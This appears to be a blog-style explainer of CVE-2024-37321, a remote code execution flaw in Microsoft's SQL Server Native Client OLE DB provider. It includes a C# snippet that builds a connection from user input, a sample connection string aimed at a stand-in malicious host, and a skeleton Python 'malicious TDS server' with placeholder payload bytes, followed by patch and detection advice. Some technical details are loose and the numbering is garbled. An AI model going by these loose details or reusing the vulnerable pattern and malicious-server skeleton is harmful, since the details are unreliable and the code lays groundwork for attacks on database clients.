CVE-2024-37321 - SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability

In June 2024, Microsoft revealed a critical vulnerability in the SQL Server Native Client OLE DB provider (MSOLEDBSQL), identified as CVE-2024-37321. This bug could allow attackers to execute any code remotely, potentially leading to full server compromise. Let’s break down what this means, how attackers could exploit it, and how you can protect yourself.

What Is CVE-2024-37321?

CVE-2024-37321 is a remote code execution (RCE) vulnerability affecting systems with the Microsoft SQL Server Native Client OLE DB provider.

Why Should You Care?

- High Severity: This bug received a CVSS score of 8.8/10.

Widespread Use: Many enterprise apps use these database providers under the hood.

References:
- Microsoft Security Guide
- NIST NVD Listing

How Does The Vulnerability Work?

SQL Server applications often connect to databases using OLE DB providers like MSOLEDBSQL. If an attacker tricks the application into loading a specially crafted OLE DB connection string or points it at a malicious SQL server, the provider can read attacker-controlled data and execute code with the privileges of the SQL Server service.

Key Points

- The provider mishandles certain inputs or responses, allowing a crafted payload to trigger arbitrary code execution.

Attack Scenario

Suppose an application lets users or untrusted sources specify the database connection string, or connects to an untrusted SQL server. An attacker could craft a payload that uses SQL OLE DB’s vulnerabilities to force code execution.

Let’s assume you have an app like this

// Vulnerable .NET code (C#) using OLE DB connection from user input
string connString = userInput; // BAD: user-controlled input!
OleDbConnection conn = new OleDbConnection(connString);
conn.Open();

An attacker could supply a connection string like

Provider=SQLNCLI11;Data Source=malicious.example.com;Initial Catalog=evil;Integrated Security=SSPI;

On connecting, if the remote server responds with a specially-crafted TDS (Tabular Data Stream) payload, the Native Client OLE DB implementation mistakenly processes it as executable code.

While a full "weaponized" exploit is not public, the shape of the attack looks like this

1. Attacker sets up a malicious SQL Server emulator returning tailored binary data in the TDS handshake.

Victim process connects using the vulnerable Native Client OLE DB provider.

3. Exploit in MSOLEDBSQL triggers and executes malicious code (reverse shell, add admin user, anything really) as the SQL service account.

Python Proof-of-Concept TDS Mock (Conceptual Only)

# RCE PoC: Malicious TDS server
import socket

def malicious_tds_server():
    s = socket.socket()
    s.bind(('...', 1433))
    s.listen(1)
    print('[*] Malicious SQL server waiting...')
    client, addr = s.accept()
    print(f'[*] Got connection from {addr}')
    
    # Send crafted TDS payload triggering the vulnerability
    evil_payload = b'\x12\x34...'  # Fill with real exploit bytes
    client.send(evil_payload)

    client.close()
    s.close()

malicious_tds_server()

*Note: This is ONLY a skeleton showing where malicious bytes would be sent. Real exploitation requires deep knowledge of Native Client’s internal memory management.*

Microsoft’s Official Patch

- Patch ASAP: Microsoft released security updates for affected platforms. Apply them immediately.

Restrict database connections only to trusted, internal servers.

- Remove or update vulnerable SQL Native Client/OLEDB components if not strictly necessary.
- Use AppLocker or similar to block unsigned DLLs/executables.

Detection

Monitor logs for unexpected outbound SQL connections or OLEDB connections to external/untrusted IPs.

CVE-2024-37321 is a dangerous vulnerability in the SQL Server Native Client OLE DB provider.

- Attackers can trigger RCE by having vulnerable applications connect to malicious SQL servers or by manipulating the connection string.

Timeline

Published on: 07/09/2024 17:15:20 UTC
Last modified on: 10/08/2024 16:14:29 UTC

CVE-2024-37321 - SQL Server Native Client OLE DB Provider Remote Code Execution Vulnerability — Explained & Exploited